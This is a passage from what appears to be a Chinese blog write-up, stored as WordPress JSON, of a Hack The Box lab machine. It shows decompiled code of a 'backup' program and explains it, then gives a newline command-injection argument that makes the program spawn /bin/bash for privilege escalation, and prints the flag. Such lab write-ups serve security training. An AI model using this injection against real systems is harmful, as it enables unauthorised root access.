\"vYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK\/oan4wWPabhw\/2rwaaJSXucU+pLgZor\"\n      \"Y67Q\/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE\/ZiS1S+rPgz\/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe\/BXhPQBJab7NVF6Xm3207Ef\"\n      \"D3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2\"\n      \"EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz\/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY\/\"\n      \"a4AZKO\/GtVMULlrpbpIFqZ98zwmROFstmPl\/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd\/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MM\"\n      \"yU9L1CL2RRwm2QvbdD8PLWA\/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK\/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate\/Ut2\"\n      \"2WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd2\"\n      \"6PCuhmRUyNjEIBFx\/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2\/F+X\/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJr\"\n      \"yLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR\/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg\/RM71P5ldpCK70RemYniiNeluBfHwQLOx\"\n      \"kDn\/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmP\"\n      \"aFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG\/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnict\"\n      \"zNXUKzT905OFOcJwt7FbxyXk0z3FxD\/tgtUHcFBLAQI\/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBw\"\n      \"ACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==\");\n    exit(0);\n  }\n  if ( v24 == 1 )\n    displayTarget((char *)argv[3]);\n  strcpy(v11, argv[3]);\n  v4 = getpid();\n  v5 = time(0);\n  v6 = clock();\n  v7 = mix(v6, v5, v4);\n  srand(v7);\n  v21 = rand();\n  sprintf(name, \"\/tmp\/.backup_%i\", v21);\n  sprintf(command, \"\/usr\/bin\/zip -r -P magicword %s %s &gt; \/dev\/null\", name, v11);\n  system(command);\n  if ( access(name, 0) == -1 )\n  {\n    if ( v24 == 1 )\n      displayWarning(\"The target path doesn't exist\");\n  }\n  else\n  {\n    if ( v24 == 1 )\n      displaySuccess(\"Finished! Encoded backup is below:n\");\n    sprintf(command, \"\/usr\/bin\/base64 -w0 %s\", name);\n    system(command);\n  }\n  if ( v24 == 1 )\n    puts(\"n\");\n  remove(name);\n  fclose(stream);\n  return 0;\n}<\/code><\/pre>\n<p>\u901a\u8fc7\u5bf9\u7a0b\u5e8f\u4ee3\u7801\u8fdb\u884c\u5206\u6790\uff0c\u53d1\u73b0\u7a0b\u5e8f\u7684\u529f\u80fd\u5982\u4e0b\uff1a<\/p>\n<ol>\n<li>\u7a0b\u5e8f\u9996\u5148\u68c0\u67e5\u53c2\u6570\u4f20\u5165\u6570\u91cf<code>argv<\/code>\u662f\u5426\u5c0f\u4e8e\u7b49\u4e8e<code>3<\/code>\uff0c\u548c<code>argv[1]<\/code>\u662f\u5426\u4e0d\u7b49\u4e8e\u5b57\u7b26\u4e32<code>-q<\/code>\uff0c\u5982\u679c\u7b26\u5408\u6761\u4ef6\uff0c\u7a0b\u5e8f\u4f1a\u5c06\u53d8\u91cf<code>v24<\/code><strong>\uff08\u6253\u5370\u4fe1\u606f\u6807\u8bc6\uff09<\/strong>\u8bbe\u7f6e\u4e3a<code>1<\/code>\u5e76\u6253\u5370<code>Banner<\/code>\u4fe1\u606f\u3002<\/li>\n<li>\u7a0b\u5e8f\u4f1a\u521d\u59cb\u5316\u51e0\u4e2a\u53d8\u91cf\uff0c\u5c06\u6587\u4ef6\u8def\u5f84<code>\/etc\/myplace\/keys<\/code>\u5206\u5272\u4fdd\u5b58\u5230\u51e0\u4e2a\u5b57\u7b26\u4e32\u53d8\u91cf\u4e2d\uff0c<strong>\u968f\u540e\u4f7f\u7528<\/strong><code>**for**<\/code><strong>\u5faa\u73af\u548c\u4f20\u5165\u8fde\u7eed\u7684\u5185\u5b58\u7a7a\u95f4\u5730\u5740\u7684\u65b9\u5f0f\u5c06\u5206\u5272\u4fdd\u5b58\u7684\u5b57\u7b26\u4e32\u8fdb\u884c\u62fc\u63a5\u6062\u590d<\/strong>\uff0c\u5e76\u5c06\u5176\u7528\u4e8e\u6253\u5f00\u6587\u4ef6\u64cd\u4f5c\uff0c\u6587\u4ef6\u53e5\u67c4\u4fdd\u5b58\u5230\u53d8\u91cf<code>stream<\/code>\u4e2d\uff0c\u5982\u672a\u80fd\u6210\u529f\u6253\u5f00\u6587\u4ef6\uff0c\u7a0b\u5e8f\u8f93\u51fa\u62a5\u9519\u4fe1\u606f\u540e\u76f4\u63a5\u9000\u51fa\u3002<\/li>\n<li>\u7a0b\u5e8f\u4f7f\u7528<code>fgets()<\/code>\u3001<code>strcspn()<\/code>\u548c<code>strcmp()<\/code>\u65b9\u6cd5\u8bfb\u5165<code>keys<\/code>\u6587\u4ef6\u7b2c\u4e00\u884c\u5185\u5bb9\uff0c\u5e76\u5c06\u5176\u548c<code>argv[2]<\/code>\u7684\u5185\u5bb9\u8fdb\u884c\u6bd4\u8f83\uff0c\u5982\u679c\u4e24\u4e2a\u53d8\u91cf\u5185\u5bb9\u4e0d\u76f8\u7b26\uff0c\u5219\u5c06\u5bc6\u7801\u89e3\u9501\u6807\u8bc6<code>v25<\/code>\u8bbe\u7f6e\u4e3a<code>1<\/code>\uff0c\u968f\u540e\u7a0b\u5e8f\u4f1a\u6839\u636e<code>v25<\/code>\u5224\u65ad\u7a0b\u5e8f\u662f\u5426\u89e3\u9501\uff0c\u5982\u672a\u89e3\u9501\u5219\u62a5\u9519\u9000\u51fa\u3002<\/li>\n<li>\u63a5\u4e0b\u6765\u7a0b\u5e8f\u4f1a\u6839\u636e<code>argv[3]<\/code>\u7684\u5185\u5bb9\u8fdb\u884c\u4e00\u4e9b\u5224\u65ad\uff0c\u5982\u679c<code>argv[3]<\/code>\u7684\u5185\u5bb9\u7b26\u5408\u6307\u5b9a\u6761\u4ef6\uff0c\u5219\u4f1a\u5728\u5c4f\u5e55\u4e0a\u8f93\u51fa\u4e00\u4e9b<code>Base64<\/code>\u6587\u672c\u3002<\/li>\n<li>\u7136\u540e\uff0c\u5982\u679c<code>v24<\/code>\u7684\u503c\u4e3a<code>1<\/code>\uff0c\u7a0b\u5e8f\u4f1a\u8c03\u7528<code>displayTarget()<\/code>\u65b9\u6cd5\u6253\u5370\u6587\u672c\uff0c\u6b64\u5904\u5b58\u5728\u4e25\u91cd\u7684\u7f13\u51b2\u533a\u6ea2\u51fa\u6f0f\u6d1e\u3002\u63a5\u7740\uff0c\u7a0b\u5e8f\u4f1a\u751f\u6210\u968f\u673a\u6570\u79cd\u5b50\uff0c\u5e76\u5c06\u4f7f\u7528<code>rand()<\/code>\u65b9\u6cd5\u751f\u6210\u7684\u968f\u673a\u6570\u8d4b\u503c\u7ed9<code>v21<\/code>\uff0c\u8be5\u53d8\u91cf\u7528\u4e8e\u751f\u6210\u968f\u673a<code>ZIP<\/code>\u5907\u4efd\u6587\u4ef6\u540d\uff0c\u751f\u6210\u597d\u7684\u540d\u79f0\u653e\u7f6e\u5728<code>name<\/code>\u53d8\u91cf\u4e2d\u3002\u7d27\u63a5\u7740\uff0c\u7a0b\u5e8f\u4f1a\u8c03\u7528<code>system()<\/code>\u51fd\u6570\u6267\u884c\u5982\u4e0b\u547d\u4ee4\uff1a<code>sprintf(command, \"\/usr\/bin\/zip -r -P magicword %s %s &gt; \/dev\/null\", backup_fileName, v11);<\/code>\u3002<strong>\u4e0d\u96be\u53d1\u73b0\u662f\u4f7f\u7528<\/strong><code>zip<\/code><strong>\u547d\u4ee4\u751f\u6210\u4e86\u5e26\u5bc6\u7801\u7684\u538b\u7f29\u5305\uff0c\u5176\u4e2d\u7b2c\u4e00\u4e2a\u4f20\u5165\u53c2\u6570\u4e3a\u751f\u6210\u7684\u968f\u673a\u53d8\u91cf\u540d\uff0c\u7b2c\u4e8c\u4e2a\u53c2\u6570\u662f<\/strong><code>argv[3]\uff08\u8981\u5907\u4efd\u7684\u76ee\u5f55\uff09<\/code><strong>\u3002\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u6362\u884c\u7b26<\/strong><code>n<\/code><strong>\u8fdb\u884c\u547d\u4ee4\u6ce8\u5165\uff1a<\/strong><\/li>\n<\/ol>\n<pre><code class=\"language-bash\">backup -a a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 \"$(printf 'n\/bin\/bashnecho a')\"<\/code><\/pre>\n<p>\u8f93\u5165\u547d\u4ee4\uff0c\u76f4\u63a5\u542f\u52a8\u4e86<code>\/bin\/bash<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1719368662014-333c17be-2517-4279-a45b-dbb892c946d0.png\" alt=\"\" \/><\/p>\n<p><strong>\u63d0\u6743\u6210\u529f\uff01\uff01\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>Flag\u6587\u4ef6\u5c55\u793a<\/h1>\n<pre><code class=\"language-plain\">8087cbf750160e05a91716e3db9a31f7<\/code><\/pre>\n<hr \/>\n<h1>\u672c\u6b21\u9776\u673a\u6e17\u900f\u5230\u6b64\u7ed3\u675f<\/h1>\n<hr \/>\n","protected":false},"excerpt":{"rendered":"<p>\u76ee\u6807\u4fe1\u606f IP\u5730\u5740\uff1a10.10.10.58 \u4fe1\u606f\u6536\u96c6 ICMP\u68c0\u6d4b \u250c\u2500\u2500(root\u327fhacker)-[\/home\/\u2026\/Docum &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[3,14],"tags":[],"class_list":["post-107","post","type-post","status-publish","format-standard","hentry","category-htb_retired","category-linux_machines"],"_links":{"self":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/107","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/comments?post=107"}],"version-history":[{"count":1,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/107\/revisions"}],"predecessor-version":[{"id":108,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/107\/revisions\/108"}],"wp:attachment":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/media?parent=107"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/categories?post=107"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/tags?post=107"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}